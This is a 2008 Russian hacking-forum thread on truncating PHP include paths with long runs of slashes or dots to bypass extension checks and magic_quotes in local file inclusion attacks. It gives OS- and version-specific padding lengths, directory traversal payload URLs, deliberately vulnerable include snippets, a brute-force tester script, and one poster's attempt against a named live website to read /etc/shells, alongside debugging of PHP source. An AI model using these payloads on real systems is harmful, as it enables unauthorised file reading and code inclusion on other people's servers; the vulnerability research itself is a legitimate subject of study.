Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   [новый способ] замена нулл-байту в инклудах (https://forum.antichat.xyz/showthread.php?t=98525)

[Raz0r] 29.12.2008 19:12

[новый способ] замена нулл-байту в инклудах
 
Просматривая забугорный форум sla.ckers.org, обнаружил новый способ, позволяющий отбросить любое значение, в частности расширение файла, в инклудах без использования нулл-байта. Как известно, нулл-байт экранируется при magic_quotes_gpc=on, поэтому это зачастую создает трудности при эксплуатировании LFI.

Способ заключается в том, что расширение можно отбросить, если до него предшествует последовательность символов, при чем длина этой последовательности может различаться в зависимости от OS. Где в коде PHP находится уязвимость пока сказать сложно, но вполне ясно, что она связана с теми же особенностями, которые ведут к проблемам с нулл-байтом, т.е. все исходит из C, на котором написан PHP. К сожалению, уязвимость не позволяет выбраться из текущей папки просто дописав перед значением ../, но мной был найден способ обхода (также зависит от OS).

1. *nix

Символы, составляющие последовательность:

0x2F / (не экранируется)

Длина полного пути *:
*getcwd() + DIRECTORY_SEPARATOR + имя файла + последовательность символов

4095 Linux
1023 FreeBSD

Пример:

http://localhost/test.php?lol=inc.php//////////////////////[...]

Выход за пределы текущей папки:

http://localhost/test.php?lol=existing_dir/../../inc.php//////////////////////[...]
где existing_dir имя существующей папки
в некоторых версиях PHP (e.g. 5.1.2) на linux имя папки может быть любым

2. windows
В windows имеются значительные отличия в зависимости от версии PHP. Почти в каждой версии имеются свои особенности.

Символы, составляющие последовательность:


0x20 пробел
  • не экранируется
  • работает во всех версиях
  • не работает при использовании способа с выходом из текущей директории

0x22 "
  • экранируется
  • работает в PHP => 5.2.0
  • не работает при использовании способа с выходом из текущей директории

0x2E .
  • не экранируется
  • работает во всех версиях
  • работает при использовании способа с выходом из текущей директории

0x3C <
  • не экранируется
  • работает в PHP => 5.2.0
  • не работает при использовании способа с выходом из текущей директории

0x3E >
  • не экранируется
  • работает в PHP => 5.2.0
  • не работает при использовании способа с выходом из текущей директории

0x2f /
  • не экранируется
  • работает во всех версиях, но в PHP => 5.2.0 только при условии, если отсутствует точка в отбрасываемом значении
  • работает при использовании способа с выходом из текущей директории, но лишь в некоторых версиях

0x5c \
  • экранируется
  • работает во всех версиях, но в PHP => 5.2.0 только при условии, если отсутствует точка в отбрасываемом значении
  • работает при использовании способа с выходом из текущей директории, но лишь в некоторых версиях


а также различные вариации с точкой:
./
.\
. (пробел)
.//.//
.\\.\\
etc

Длина полного пути *:
*getcwd() + DIRECTORY_SEPARATOR + имя файла + последовательность символов

PHP 4.4.2, 5.1.2, 5.2.6
265 если присутствует точка в отбрасываемом значении
266 если отсутствует

PHP 4.4.4, 4.4.9, 5.2.0
258 если присутствует точка в отбрасываемом значении
259 если отсутствует точка в отбрасываемом значении

Пример:

http://localhost/test.php?lol=inc.php.......................[...]
http://localhost/test.php?lol=inc.php<<<<<<<<<<<[...]

Выход за пределы текущей папки:

http://localhost/test.php?lol=exsiting_dir/../../inc.php............................[...]
http://localhost/test.php?lol=nonexsiting_dir/../../inc.php............................[...]
где nonexsiting_dir имя любой папки, даже несуществующей

Вывод исследования:
для windows универсальный символ для последовательности в векторе атаки это точка (.);
минимальная универсальная длина этой последовательности - 266 символов

в *nix единственным и универсальным символом является слэш (/);
минимальная универсальная длина последовательности - 4095 символов;

Для эксплуатации LFI в реальных условиях необходимо рассчитывать длину последовательности с учетом максимальной длины URL, которую способен принять веб-сервер. Если, например, сервер имеет ограничение URL < 4096 байт, а система работает на linux, то реализовать уязвимость не удастся


Информация конечно не совсем приватная, но пока что распространение она не получила.
Оригинальный топик: http://sla.ckers.org/forum/read.php?16,25706

Chaak 29.12.2008 20:17

Цитата:

Длина последовательности:

От 900 до 4000.
Если только в посте :( Думаю сервер врятли разрешит слишком длинную url
Цитата:

Длина последовательности:

230 на winxp 32 bit
243 на vista 32 bit
а вот 230 возможно...

[Raz0r] 29.12.2008 20:49

Длина максимального URL зависит от конфигурации веб-сервера. Апач по умолчанию держит 4096 байт, как раз достаточно дле реализации уязвимости
http://paradigm.ru/2007/12/19/url-max-length/

Chaak 29.12.2008 21:25

Значит нормально

P.S на локалхосте стоит ограничение 512 по-умолчанию

[Raz0r] 29.12.2008 21:31

в смысле на локалхосте? я про веб-сервер, апач он и на локалхосте апач )
з.ы. у меня на локалхосте ограничение 4096 байт )

ShAnKaR 29.12.2008 22:10

интересно конечно, у кого нибудь сработало?

[Raz0r] 29.12.2008 22:12

ShAnKaR, проверь сам и убедись ) все работает

Spyder 29.12.2008 22:23

да, интерсно
*пошёл копать дедокрученые инклуды

Chaak 29.12.2008 22:26

B вправду)

Цитата:

http://localhost/?file=favicon.ico%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C
PHP код:

<?php
include($_GET['file'].'.php');
?>


SQLHACK 30.12.2008 00:28

Напишите у кого какие версии всего софта, ось, пхп, апач, способ подключения пхп к апачу.
Что то у меня не работает данная конструкция, если у кого то это работает то отпишите на каких настройках.

PHP код:

<?php
$_GET
['inc'] = "/1.txt";
for(
$x=1;$x<=230;$x++){
    
//$_GET['inc'] .= urldecode("%3C");
            
$_GET['inc'] .= "<";            
}
include(
"Z:\\home\\localhost\\www".$_GET['inc']."some.txt");
?>


m0nzt3r 30.12.2008 00:38

пашет отлично, но не везде. респект однозначно :)

ShAnKaR 30.12.2008 03:25

Цитата:

Сообщение от [Raz0r]
ShAnKaR, проверь сам и убедись ) все работает

я проверял- не пахало поэтому и спросил.

UP
проверил побольше диапазон в общем оказалась магической цифра 4075, хз почему, тоесть имя файла вмесле со слешами имеет длину 4075 символа-> увеличиваю имя файла , уменшаю количесво сдешей соответственно, система linux PHP 5.2.6
еще кстати фигня:
PHP код:

$a=$_GET['qd'].'.xxxxxxx';
include(
$a); 

убираю точку в подгружаемом расширении и уже не работает.
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.

1ten0.0net1 30.12.2008 11:32

PHP Version 4.4.0
System Windows NT 5.1
Код:
PHP код:

<?php
$a
=$_GET['page'].'ТУТ_5000_символов_<'.'.php';
include(
$a); 
?>

Apache/1.3.33
magic_quotes=Off

Аналогично, на:
PHP Version 4.4.9
System Linux 2.6.24.2 #1 SMP i686
magic_quotes=On
Apache/1.3.34 (Debian)

Не работает никак.

Отпишитесь, пожалуйста, кто пробовал на 2ке апача и на 5ке php

Isis 30.12.2008 13:02

php 5, apache 2, windows vista, не работает

ntldr 30.12.2008 13:06

php 5.2.8
apache 2.2.11
windows xp

работает

PHP код:

http://localhost/test.php?file=lol.bmp....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... 

PHP код:

<?php   include($_GET['file'].'.php');   ?>


Spyder 30.12.2008 13:18

хм
система линукс
PHP 5.2.6
апач 2.2.8

<?
include($_GET['page'].'.php');
?>
итак
incl.php?page=omg.txt - 4062 символа/
incl.php?page=om.txt 4064 символа /
incl.php?page=o.txt 4065 символов /
incl.php?page=omfg.txt - 4062 символа /
incl.php?page=xekxekekxek.txt - 4056 симвлов /

может тут кто то видит порядок, я нет =)
PS в каждом случае указано минимально кол-во символов /, если ставить больше то всё работает, к примеру 4070 символов будут работать в любом примере

Chaak 30.12.2008 14:18

А на ngnix/light httpd работает? Может бага апача? Нет возможности проверить. У кого есть возможность отпишитесь

1ten0.0net1 30.12.2008 14:25

PHP код:

http://www.thejustinfoundation.org/main.php?pg=documents/../../../../../../../../../../../etc/shells 

Живой нерабочий пример
Здесь, как и в моих примерах выше - Apache/1.3.33

ShAnKaR 30.12.2008 14:28

апач тут не причем, из командной строки норм пашет, strace:
Цитата:

getcwd("/var/www/html/test"..., 4096) = 19
time(NULL) = 1230632306
lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=12288, ...}) = 0
lstat64("/usr/share/pear", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share/pear/aaaa.php", 0xbfc7ad78) = -1 ENOENT (No such file or directory)
open("/usr/share/pear/aaaa.php/.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
time(NULL) = 1230632306
lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=12288, ...}) = 0
lstat64("/usr/share/php", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share/php/aaaa.php", 0xbfc7ad78) = -1 ENOENT (No such file or directory)
open("/usr/share/php/aaaa.php/.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
time(NULL) = 1230632306
lstat64("/var", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/var/www", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/var/www/html", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
lstat64("/var/www/html/test", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
lstat64("/var/www/html/test/aaaa.php", {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
open("/var/www/html/test/aaaa.php", O_RDONLY) = 4
fstat64(4, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
fcntl64(4, F_GETFL) = 0 (flags O_RDONLY)
fstat64(4, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8060000
_llseek(4, 0, [0], SEEK_CUR) = 0
_llseek(4, 0, [0], SEEK_SET) = 0
read(4, "<?php\n//phpinfo();\n\n"..., 4096) = 20

[Raz0r] 30.12.2008 14:39

PHP 4.4.2 WinXP 32 bit - работает
PHP 4.4.4 WinXP 32 bit - работает
PHP 5.1.2 WinXP 32 bit - работает
PHP 5.2.0 WinXP 32 bit - работает
PHP 4.4.4 Vista 32 bit - работает
PHP 5.2.0 Vista 32 bit - работает
PHP 5.2.6 Vista 32 bit - работает
PHP 5.2.8 FreeBSD 6.3 - работает

В общем везде, где проверял у меня работало. Возможная проблема у тех, у кого не работало - вы указывали абсолютный путь, с ним уязвимость не работает.
Цитата:

убираю точку в подгружаемом расширении и уже не работает.
у меня такого не наблюдалось ни на винде, ни на линуксе.
Цитата:

из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.
об этом уже писал


Предлагаю заняться ииследованием сорцов для выяснения причин баги. Возможно удастся понять от чего зависит длина необходимой последовательности.


@1ten0.0net1
на твоем живом примере не работает, потому что доставляется ./:
Цитата:

include(./documents/../../../../../../../../../../../etc/shells.php)

ShAnKaR 30.12.2008 14:43

вот еще цифра зависит от getcwd, в общем в сумме имя файла со слешами и с getcwd 4094, те перемещаем скрипт в другое место и соответственно кол-во слешей изменяется.

SQLHACK 30.12.2008 14:48

Вообщем написал скрипт для быстрой проверки.

Складываем в папку z:/home/localhost/www/testinc/
Скрипт становится доступным по адресу http://www.localhost/testinc/test.php

Скрипт который запускаем (test.php)
PHP код:

<?php
$evilstr 
"";
$fp fopen("log.txt","a");
for (
$x=0;$x<=500;$x++){
    
$evilstr .= "<";
    
$content file_get_contents("http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr);
    if (
preg_match("#(.*)bugworking(.*)#",$content,$matches)){
        echo 
"http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr."\r\n";
        die (
"Bug working with $x added chars");
    }else{
         
fputs($fp$content."\r\n\r\n");
    }
}
fclose($fp);
?>

Скрипт который инклюдит inc.php ложим туда же

PHP код:

<?php
error_reporting
(E_ALL);
include(
$_GET['inc'].".txt");
?>

и ложим файл vuln.txt с содержимым

PHP код:

-bugworking

запускаем в браузере http://www.localhost/testinc/test.php
Получаю в ответ, что бага работает 216 символов и более.

Версии
PHP Version => 5.2.4
Windows NT XHOME 5.1 build 2600 Build Date хр короче
Apache 2.2.4

но стоит прописать абсолютный путь в любом варианте, и больше ни чё не пашет.

PHP код:

<?php
error_reporting
(E_ALL);
include(
"Z:/home/localhost/www/testinc/".$_GET['inc'].".txt");
?>

Внимание вопрос. Почему ?
У кого есть идеи ?
то есть я не вижу объективных причин не работать с абсолютным путём.

1ten0.0net1 30.12.2008 15:21

Скрипт SQLHACK переделаный под себя не работает. Имхо - с 4.4.0 не работает

Spyder 30.12.2008 15:56

копать сорцы пшп?

SQLHACK 30.12.2008 16:05

вот проверил несколько функций, как то странно.

require_once - работает
require - работает
include - работает
include_once - работает
file_get_contents - не работает
fopen - не работает
file - не работает
readfile - не работает

почему только функции инклюда подвержены ?
а Virtual и другие не пашут.

Qwazar 30.12.2008 16:08

Цитата:

Сообщение от Spyder
копать сорцы пшп?

Угу, к тому же они не оч сложные. Надеюсь если их скомпилировать, бага останется. Имхо там гдето тупой оверфлоу должен быть, а длина обусловлена расстоянием до той строки которая фактически передастся в функцию инклуда (или может там отдельно как нибудь текущая дира передаётся и её значение и переписывается этим методом?), но это догадки. Пока времени посмотреть нет :(

P.S.
php-5.2.6-Win32 пример от SQLHACK работает, выдаёт "Bug working with 219 added chars".

P.P.S.
С абсолютным путём кстати и может неработать, если переписывается имено указатель на текущую директорию, относительно которой относительный путь конвертится в абсолютный. А в случае абсолютного пути, нет необходимости в вычеслении действительного пути.

SQLHACK 30.12.2008 17:20

есил бы бы был оверфлов то пхп бы падал ,имхо , а тут всё корректно обрабатывается при любом количестве символов в пути

Qwazar 30.12.2008 17:31

Цитата:

Сообщение от SQLHACK
есил бы бы был оверфлов то пхп бы падал ,имхо , а тут всё корректно обрабатывается при любом количестве символов в пути

Не обязательно должен падать, мож строка где нибудь обрезается после какого нибудь предела, а всё что переписывается отношения к исполняемому коду не имеет.

А вот ещё один признак того, что скорее всего переписывается результат функции getcwd (получение текущего каталога), ну и причина того, что абсолютные пути не пашут:
Цитата:

Сообщение от ShAnKaR
вот еще цифра зависит от getcwd, в общем в сумме имя файла со слешами и с getcwd 4094, те перемещаем скрипт в другое место и соответственно кол-во слешей изменяется.

P.S.
Вот тут: http://bugs.php.net/bug.php?id=41822
написано, что include с относительным путём вызывает getcwd.

Chaak 30.12.2008 17:57

По ходу уязвимость где-то в этих функциях:

PHP код:

static int php_stream_open_for_zend(const char *filenamezend_file_handle *handle TSRMLS_DC/* {{{ */
{
    return 
php_stream_open_for_zend_ex(filenamehandleENFORCE_SAFE_MODE|USE_PATH|REPORT_ERRORS|STREAM_OPEN_FOR_INCLUDE TSRMLS_CC);
}
/* }}} */

PHPAPI int php_stream_open_for_zend_ex(const char *filenamezend_file_handle *handleint mode TSRMLS_DC/* {{{ */
{
    
php_stream *stream;

    
stream php_stream_open_wrapper((char *)filename"rb"mode, &handle->opened_path);

    if (
stream) {
        
handle->type ZEND_HANDLE_STREAM;
        
handle->filename = (char*)filename;
        
handle->free_filename 0;
        
handle->handle.stream.handle stream;
        
handle->handle.stream.reader = (zend_stream_reader_t)_php_stream_read;
        
handle->handle.stream.closer stream_closer_for_zend;
        
handle->handle.stream.fteller stream_fteller_for_zend;
        
handle->handle.stream.interactive 0;
        
/* suppress warning if this stream is not explicitly closed */
        
php_stream_auto_cleanup(stream);

        return 
SUCCESS;
    }
    return 
FAILURE;



php_stream_open_wrapper(); - предпологаю, что уязвимость где-то в ней

Qwazar 30.12.2008 18:01

Цитата:

Сообщение от ChaaK
По ходу уязвимость где-то в этих функциях:

Я бы посмотрел ещё, где &handle->opened_path вычисляется..

З.Ы.
Второй файл что ты выложил - не в тему, он для GZIP.

Qwazar 30.12.2008 18:09

Цитата:

Сообщение от ChaaK
Класс zend_file_handle? Не найти что-то

Сейчас сорцы качаю.
Цитата:

Сообщение от SQLHACK
вот проверил несколько функций, как то странно.

require_once - работает
require - работает
include - работает
include_once - работает
file_get_contents - не работает
fopen - не работает
file - не работает
readfile - не работает

почему только функции инклюда подвержены ?
а Virtual и другие не пашут.

Потому что ТОЛЬКО функции инклуда, вызывают функцию getcwd, для вычисления абсолютного пути по относительному :) (хех, я был прав, в том что проблема с вычислением пути по текущему, посмотрим прав ли в остальном)

Chaak 30.12.2008 18:16

А что если какая-то логическая ошибка => как-бы получается что функция выполняется, но значение параметра становится = '\0', что значит конец строки => обход magic_quotes'ов?


Вот кое-чот интересное! Похоже на переполнение буфера! Возможно длина строки неправильно расчитывается
PHP код:

/* no docref given but function is known (the default) */
    
if (!docref && is_function) {
        
int doclen;
        if (
space[0] == '\0') {
            
doclen spprintf(&docref_buf0"function.%s", function);
        } else {
            
doclen spprintf(&docref_buf0"%s.%s"class_name, function);
        }
        while((
strchr(docref_buf'_')) != NULL) {
            *
'-';
        }
        
docref php_strtolower(docref_bufdoclen);
    } 


Qwazar 30.12.2008 19:00

ChaaK, ты в какието дебри полез :) Чтото я этот кусок нигде в инклуде не видел.

Jokester 30.12.2008 19:24

Тоже потестил, вот результат :
Конфигурация:
WinXP 32 bit, PHP 5.2.4, Апач 2.2.4

Работает
Цифра это минимальное кол-во символов

"."-218
" "пробел - никакой реакции
"<"-218
">"-218

С абсолютным путём не пашет Пока тестил только в include

И обнаружился ещё один символ, с которым работает:
"+"-218

ShAnKaR 30.12.2008 19:31

кароч:
файл plain_wrappers.c
функция _php_stream_fopen_with_path:
Цитата:

snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename);
stream = php_stream_fopen_rel(trypath, mode, opened_path, options);
там же функция _php_stream_fopen (тоже что php_stream_fopen_rel)
Цитата:

if ((realpath = expand_filepath(filename, NULL TSRMLS_CC)) == NULL) {
return NULL;
}
...
fopen(fname, ...
fname уже нормальный
дальше файл fopen-wrappers.c функция expand_filepath:
Цитата:

char cwd[MAXPATHLEN];
cwd[0] = '\0';

new_state.cwd = strdup(cwd);
new_state.cwd_length = strlen(cwd);

if (virtual_file_ex(&new_state, filepath, NULL, CWD_FILEPATH)) {
free(new_state.cwd);
return NULL;
}

real_path = estrndup(new_state.cwd, new_state.cwd_length);
real_path уже нормальный, MAXPATHLEN везде (не знаю как там у вас в виндах) = 4096;
ну что видно из этого идет везде сначала
xxx.php/////////..../////////////.txt
потом по MAXPATHLEN обрезается до
xxx.php/////////..../////////////.
дальше обрабатывается видимо функцией virtual_file_ex , она возвращает false и изменяет new_state.

ShAnKaR 30.12.2008 19:48

Цитата:

Сообщение от [Raz0r]
В общем везде, где проверял у меня работало. Возможная проблема у тех, у кого не работало - вы указывали абсолютный путь, с ним уязвимость не работает.

у меня такого не наблюдалось ни на винде, ни на линуксе.

у меня вот:
PHP код:

<?php
$f
="aaaa.php".str_repeat('/',$argv[1]);
$z=getcwd();
$u=$f.'.fffffffff';
$v=$z.'/'.$f;
print 
strlen($v)."\n";
require(
$u);
?>

[test@localhost cli]$ ./php ./test.php 4047
без точки не работает.

Цитата:

Сообщение от [Raz0r]
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.

об этом уже писал

ты писал что папка должна существовать.
Цитата:

где existing_dir имя существующей папки
у меня выпоняется без этого условия.

[Raz0r] 30.12.2008 20:30

Цитата:

без точки не работает.
FreeBSD 6.3, PHP 5.2.8 - работает без точки, какая у тебя система хоть?
Цитата:

ты писал что папка должна существовать.
это относится к linux, хотя это понятие растяжимое ) на все том же FreeBSD 6.3, PHP 5.2.8 через несуществующую папку не инклудится =\

ShAnKaR 30.12.2008 20:31

потом файл tsrm_virtual_cwd.c
функция virtual_file_ex:
Цитата:


free_path = path_copy = tsrm_strndup(path, path_length);

ptr = tsrm_strtok_r(path_copy, TOKENIZER_STRING, &tok);

тут TOKENIZER_STRING у меня равен "/" в винде наверно чтото другое.

файл tsrm_strtok_r.c
Цитата:

char *tsrm_strtok_r(char *s, const char *delim, char **last)
{
char *token;

if (s == NULL) {
s = *last;
}

while (*s && in_character_class(*s, delim)) {
s++;
}
if (!*s) {
return NULL;
}

token = s;

while (*s && !in_character_class(*s, delim)) {
s++;
}
if (!*s) {
*last = s;
} else {
*s = '\0';
*last = s + 1;
}
return token;
}
потом опять файл tsrm_virtual_cwd.c
функция virtual_file_ex:
и тут наверно и идет бага:
Цитата:

while (ptr) {
...

} else if (!IS_DIRECTORY_CURRENT(ptr, ptr_length)) {
...
memcpy(&state->cwd[state->cwd_length], ptr, ptr_length+1);
...
ну а символ точка это как раз и есть 'IS_DIRECTORY_CURRENT' , следовательно можно использоывать не только длинную строчку из '/' а ещё и '/.'
остается конечно не понятно почему без точки в конце не пашет

ShAnKaR 30.12.2008 21:38

в винде по идее еще должно проходить с нормальным слешем и обратным:
Цитата:

#ifdef TSRM_WIN32
#include <tchar.h>
#define tsrm_strtok_r(a,b,c) _tcstok((a),(b))
#define TOKENIZER_STRING "/\\"
проверил php 4.4.9:
файл streams.c функция _php_stream_fopen_with_path

Цитата:

snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename);
/* If file does not exist continue */
if (VCWD_STAT(trypath, &sb) != 0) {
ptr = end;
continue;
}

VCWD_STAT ( практически стандартная файловая функция stat ) проверяет сначала существует ли файл а потом php уже пытается открыть в пятой такого не заметил, тоесть у меня не заработало на четвертой версии, у вас как?

ShAnKaR 01.01.2009 17:51

вот на php 4 можно так тогда, да и на пятой тоже соответственно:
existing_dir/..//////////////////////// ... ///////////////////shell.php
окончание если есть обрежет по maxpathlen тогда


Время: 02:45